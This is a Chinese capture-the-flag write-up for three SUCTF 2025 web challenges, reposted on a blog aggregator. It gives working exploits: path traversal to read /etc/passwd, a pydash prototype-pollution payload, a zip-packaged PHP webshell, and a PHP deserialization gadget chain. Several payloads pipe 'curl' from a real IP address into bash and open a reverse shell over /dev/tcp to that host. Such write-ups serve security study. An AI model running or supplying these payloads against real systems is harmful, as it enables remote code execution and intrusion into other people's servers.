【Web】2025-SUCTF个人wp

news2025/1/20 20:54:27

目录

SU_blog

SU_photogallery

SU_POP


SU_blog

先是注册功能覆盖admin账号

以admin身份登录,拿到读文件的权限

./article?file=articles/..././..././..././..././..././..././etc/passwd

./article?file=articles/..././..././..././..././..././..././proc/1/cmdline

./article?file=articles/..././app.py

 读到源码

from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
    1: "articles/article1.txt",
    2: "articles/article2.txt",
    3: "articles/article3.txt"
}
friend_links = [
    {"name": "bkf1sh", "url": "https://ctf.org.cn/"},
    {"name": "fushuling", "url": "https://fushuling.com/"},
    {"name": "yulate", "url": "https://www.yulate.com/"},
    {"name": "zimablue", "url": "https://www.zimablue.life/"},
    {"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
    def __init__(self):
        pass

user_data = User()

@app.route('/')
def index():
    if 'username' in session:
        return render_template('blog.html', articles=articles, friend_links=friend_links)
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username] == password:
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials", 403
    return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        users[username] = password
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
    if 'username' not in session:
        return redirect(url_for('login'))
    if request.method == 'POST':
        old_password = request.form['old_password']
        new_password = request.form['new_password']
        confirm_password = request.form['confirm_password']
        if users[session['username']] != old_password:
            flash("Old password is incorrect", "error")
        elif new_password != confirm_password:
            flash("New passwords do not match", "error")
        else:
            users[session['username']] = new_password
            flash("Password changed successfully", "success")
            return redirect(url_for('index'))
    return render_template('change_password.html')

@app.route('/friendlinks')
def friendlinks():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    return render_template('friendlinks.html', links=friend_links)

@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    name = request.form.get('name')
    url = request.form.get('url')
    if name and url:
        friend_links.append({"name": name, "url": url})
    return redirect(url_for('friendlinks'))

@app.route('/delete_friendlink/')
def delete_friendlink(index):
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    if 0 <= index < len(friend_links):
        del friend_links[index]
    return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
    if 'username' not in session:
        return redirect(url_for('login'))
    file_name = request.args.get('file', '')
    if not file_name:
        return render_template('article.html', file_name='', content="未提供文件名。")
    
    blacklist = ["waf.py"]
    if any(blacklisted_file in file_name for blacklisted_file in blacklist):
        return render_template('article.html', file_name=file_name, content="大黑阔不许看")
    
    if not file_name.startswith('articles/'):
        return render_template('article.html', file_name=file_name, content="无效的文件路径。")
    
    if file_name not in articles.values():
        if session.get('username') != 'admin':
            return render_template('article.html', file_name=file_name, content="无权访问该文件。")
    
    file_path = os.path.join(BASE_DIR, file_name)
    file_path = file_path.replace('../', '')
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        content = "文件未找到。"
    except Exception as e:
        app.logger.error(f"Error reading file {file_path}: {e}")
        content = "读取文件时发生错误。"
    
    return render_template('article.html', file_name=file_name, content=content)

@app.route('/Admin', methods=['GET', 'POST'])
def admin():
    if request.args.get('pass') != "SUers":
        return "nonono"
    
    if request.method == 'POST':
        try:
            body = request.json
            if not body:
                flash("No JSON data received", "error")
                return jsonify({"message": "No JSON data received"}), 400
            
            key = body.get('key')
            value = body.get('value')
            if key is None or value is None:
                flash("Missing required keys: 'key' or 'value'", "error")
                return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

            # Additional logic to handle key-value pairs can be added here.
        except Exception as e:
            flash(f"Error: {str(e)}", "error")
            return jsonify({"message": f"Error: {str(e)}"}), 500

    return render_template('admin.html')

/Admin路由一眼打pydash原型链污染

 污染什么呢,可以污染render_template

参考CTFtime.org / idekCTF 2022* / task manager / Writeup

打入

{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}

放个恶意shell文件到vps上

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

随便访问渲染模板的页面,成功反弹shell 

SU_photogallery

结合“测试”的提示&404特征辨别题目服务是php -S启动的

存在一个任意文件读取漏洞

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

去读一下unzip.php

bp把自动更新长度关掉

 

<?php
/*
 * @Author: Nbc
 * @Date: 2025-01-13 16:13:46
 * @LastEditors: Nbc
 * @LastEditTime: 2025-01-13 16:31:53
 * @FilePath: \src\unzip.php
 * @Description: 
 * 
 * Copyright (c) 2025 by Nbc, All Rights Reserved. 
 */
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
                }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
                }
    
        }
        else{
            return true;
            }
}
else{
    // echo "nofile";
    return false;
}
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
                $oldPath = $path . DIRECTORY_SEPARATOR . $file;
                $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

                if (!rename($oldPath, $newPath)) {
                    unlink($path . DIRECTORY_SEPARATOR . $file);
                    // echo "Fail to rename file: $file\n";
                    return false;
                }
                else{
                    return true;
                }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
      
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false; 
        }
            // echo "Checking file: $fileName\n";
            $fileContent = $zip->getFromName($fileName);
            

            if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
                // echo "Don't hack me!\n";    
                return false;
            }
            else {
                continue;
            }
        }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    else{
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $fileInfo = $zip->statIndex($i);
            $fileName = $fileInfo['name'];
            if (!check_extension($fileName, $path)) {
                // echo "Unsupported file extension";
                continue;
            }
            if (!file_rename($path, $fileName)) {
                // echo "File rename failed";
                continue;
            }
        }
    }

    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.html?status=success");
        exit();
    } else {
        header("Location: index.html?status=$result");
        exit();
    }
} else {
    header("Location: index.html?status=file_error");
    exit();
}

注意到这段代码

因为是先解压再检验文件后缀,所以可以用解压失败来绕过

zip在CTF-web方向中的一些用法 - 个人学习分享

用这段脚本生成恶意zip文件

import zipfile
import io

# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()

# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    # 向 ZIP 文件中写入恶意 PHP 文件
    zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')
    # 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
    zf.writestr('A' * 5000, b'AAAAA')

# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

 上传成功

 访问RCE

SU_POP

看到反序列化入口

 

先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString

再找sink,全局搜eval(

找到一个比较干净的触发eval的类

 再全局搜__toString

stream可控,可以触发__call

全局搜__call

 

从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink

链子

RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate 

 exp:

<?php
namespace PHPUnit\Framework\MockObject\Generator;

class MockClass
{
    public $classCode;
    public $mockName;
    public function __construct() {
        $this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";
        $this->mockName = "Z3r4y";
    }
}

namespace Cake\ORM;

use PHPUnit\Framework\MockObject\Generator\MockClass;

class BehaviorRegistry
{
    public $_methodMap;
    public $_loaded;

    public function __construct() {
        $this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];
        $this->_loaded = ["Z3r4y" => new MockClass()];
    }
}

class Table
{
    public $_behaviors;
    public function __construct() {
        $this->_behaviors = new BehaviorRegistry();
    }
}

namespace Cake\Http;

use Cake\ORM\Table;

class Response
{
    public $stream;
    public function __construct() {
        $this->stream = new Table();
    }
}

namespace React\Promise\Internal;

use Cake\Http\Response;

final class RejectedPromise
{
    public $reason;
    public function __construct() {
        $this->reason = new Response();
    }
}

$a=new RejectedPromise();
echo base64_encode(serialize($a));

 

往vps上放一个恶意shell脚本

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

打入:

成功弹上shell

 

find提权拿flag 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279518.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uniApp开通uniPush1.0个推,SpringBoot集成uniPush1.0个推

uniApp开通unipush1.0个推&#xff0c;SpringBoot程序集成 一、APP开通unipush1.0个推(商户App源码仅支持1.0个推) 1.app模块配置开通推送 2.应用开通推送 3.开通后点击消息推送菜单会看到如下页面 完成以上步骤后 此时android 仅支持在线推送。 4.配置各厂商离线推送 暂未…

华为昇腾910B1基于 LoRA 的 Qwen2.5-7B-Instruct 模型微调

目录 系统环境虚拟环境微调模型yaml文件training_losstraining_eval_loss 系统环境 Ascend-hdk-910b-npu-driver_24.1.rc3_linux-aarch64.run Ascend-hdk-910b-npu-firmware_7.5.0.1.129.run Ascend-cann-toolkit_8.0.RC3.alpha003_linux-aarch64.run Ascend-cann-kernels-910…

窥探QCC518x/308x系列与手机之间的蓝牙HCI记录与分析 - 手机篇

今天要介绍给大家的是, 当我们在开发高通耳机时如果遇到与手机之间相容性问题, 通常会用Frontline或Ellisys的Bluetooth Analyzer来截取资料分析, 如果手边没有这样的仪器, 要如何窥探Bluetooth的HCI log.这次介绍的是手机篇. 这次跟QCC518x/QCC308x测试的手机是Samsung S23 U…

【GIS操作】使用ArcGIS Pro进行海图的地理配准(附:墨卡托投影对比解析)

文章目录 一、应用场景二、墨卡托投影1、知识点2、Arcgis中的坐标系选择 三、操作步骤1、数据转换2、数据加载3、栅格投影4、地理配准 一、应用场景 地理配准是数字化之前必须进行的一项工作。扫描得到的地图数据通常不包含空间参考信息&#xff0c;需要通过具有较高位置精度的…

【云岚到家】-day02-客户管理-认证授权

第二章 客户管理 1.认证模块 1.1 需求分析 1.基础概念 一般情况有用户交互的项目都有认证授权功能&#xff0c;首先我们要搞清楚两个概念&#xff1a;认证和授权 认证: 就是校验用户的身份是否合法&#xff0c;常见的认证方式有账号密码登录、手机验证码登录等 授权:则是该用…

VUE学习笔记(入门)5__vue指令v-html

v-html是用来解析字符串标签 示例 <!doctype html> <html lang"en"> <head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>Document<…

二、华为交换机 Trunk

一、Trunk功能 Trunk口主要用于连接交换机与交换机&#xff08;或路由器&#xff09;&#xff0c;允许在一条物理链路上传输多个VLAN的数据。这大大增加了网络的灵活性和可扩展性&#xff0c;使得不同VLAN之间的通信变得更加便捷。 二、作用原理 标签处理&#xff1a;Trunk口能…

基于SSM的自助购药小程序设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

AI守护煤矿安全生产:基于视频智能的煤矿管理系统架构解析

前言 本文我将介绍我和我的团队自主研发设计的一款AI产品的成果展示——“基于视频AI识别技术的煤矿安全生产管理系统”。 这款产品是目前我在创业阶段和几位矿业大学的博士共同从架构设计、开发到交付的全过程中首次在博客频道发布, 我之前一直想写但没有机会来整理这套系统的…

SpringCloud -根据服务名获取服务运行实例并进行负载均衡

Nacos注册中心 每个服务启动之后都要向注册中心发送服务注册请求&#xff0c;注册中心可以和各个注册客户端自定义协议实现服务注册和发现。 pom.xml <dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-na…

LLM - 大模型 ScallingLaws 的 CLM 和 MLM 中不同系数(PLM) 教程(2)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/145188660 免责声明&#xff1a;本文来源于个人知识与公开资料&#xff0c;仅用于学术交流&#xff0c;欢迎讨论&#xff0c;不支持转载。 Scalin…

Android CustomTextField

在 Compose 中开发用户界面时&#xff0c;需要处理输入框和键盘的交互&#xff0c;例如在键盘弹出时调整布局位置&#xff0c;避免遮挡重要内容。本篇博客将通过一个完整的示例展示如何实现这一功能。 功能概述 本例实现了一个简单的输入框。当输入框获得焦点或输入文字时&…

【韩顺平Java笔记】第8章:面向对象编程(中级部分)【338-342】

338. 零钱通消费 package com.masterspark.smallchange;import java.text.SimpleDateFormat; import java.util.Date; import java.util.Scanner;public class SmallChangeSys {public static void main(String[] args) {//1. 先完成显示菜单&#xff0c;并可以选择菜单&#…

Mac M1处理器uiautomatorviewer 使用

问题 Android自带工具uiautomatorviewer在mac电脑上运行报错 解决 有位大神解决了这个问题 项目网址&#xff1a;https://github.com/TarCV/uiautomatorviewer-gradle ./gradlew installDist JAVA_OPTS-XstartOnFirstThread ./build/install/uiautomatorviewer-gradle/bin…

【漫话机器学习系列】054.极值(Extrema)

极值&#xff08;Extrema&#xff09; 定义 极值是数学分析和优化问题中的一个核心概念&#xff0c;指函数在某个定义域内取得的最大值或最小值。根据极值的性质&#xff0c;可以将其分为两类&#xff1a; 局部极值&#xff08;Local Extrema&#xff09;&#xff1a;函数在…

QT开发技术 【基于TinyXml2的对类进行序列化和反序列化】一

一、对TinyXml2 进行封装 使用宏 实现序列化和反序列化 思路&#xff1a; 利用宏增加一个类函数&#xff0c;使用序列化器调用函数进行序列化 封装宏示例 #define XML_SERIALIZER_BEGIN(ClassName) \ public: \virtual void ToXml(XMLElement* parentElem, bool bSerialize …

代码随想录训练营第五十一天| 99.岛屿数量 深搜 岛屿数量 广搜 100.岛屿的最大面积

99.岛屿数量 深搜 题目链接&#xff1a;99. 岛屿数量 讲解链接&#xff1a;代码随想录 就是dfs模版题目 在dfs里可以先定义方向数组移动 再遍历分别向四个方向移动 同时记得更新当前nextx nexty 再判断是否越界 再执行判断条件 当前位置未走过 visited[i][j] false 一开始jav…

【HarmonyOS之旅】基于ArkTS开发(二) -> UI开发之常见布局

目录 1 -> 自适应布局 1.1 -> 线性布局 1.1.1 -> 线性布局的排列 1.1.2 -> 自适应拉伸 1.1.3 -> 自适应缩放 1.1.4 -> 定位能力 1.1.5 -> 自适应延伸 1.2 -> 层叠布局 1.2.1 -> 对齐方式 1.2.2 -> Z序控制 1.3 -> 弹性布局 1.3.1…

docker 部署 MantisBT

1. docker 安装MantisBT docker pull vimagick/mantisbt:latest 2.先运行实例&#xff0c;复制配置文件 docker run -p 8084:80 --name mantisbt -d vimagick/mantisbt:latest 3. 复制所需要配置文件到本地路径 docker cp mantisbt:/var/www/html/config/config_inc.php.…

【Linux系统编程】—— 深度解析进程等待与终止:系统高效运行的关键

文章目录 进程创建再次认识fork()函数fork()函数返回值 写时拷贝fork常规⽤法以及调用失败的原因 进程终⽌进程终止对应的三种情况进程常⻅退出⽅法_exit函数exit函数return退出 进程等待进程等待的必要性进程等待的⽅法 进程创建 再次认识fork()函数 fork函数初识&#xff1…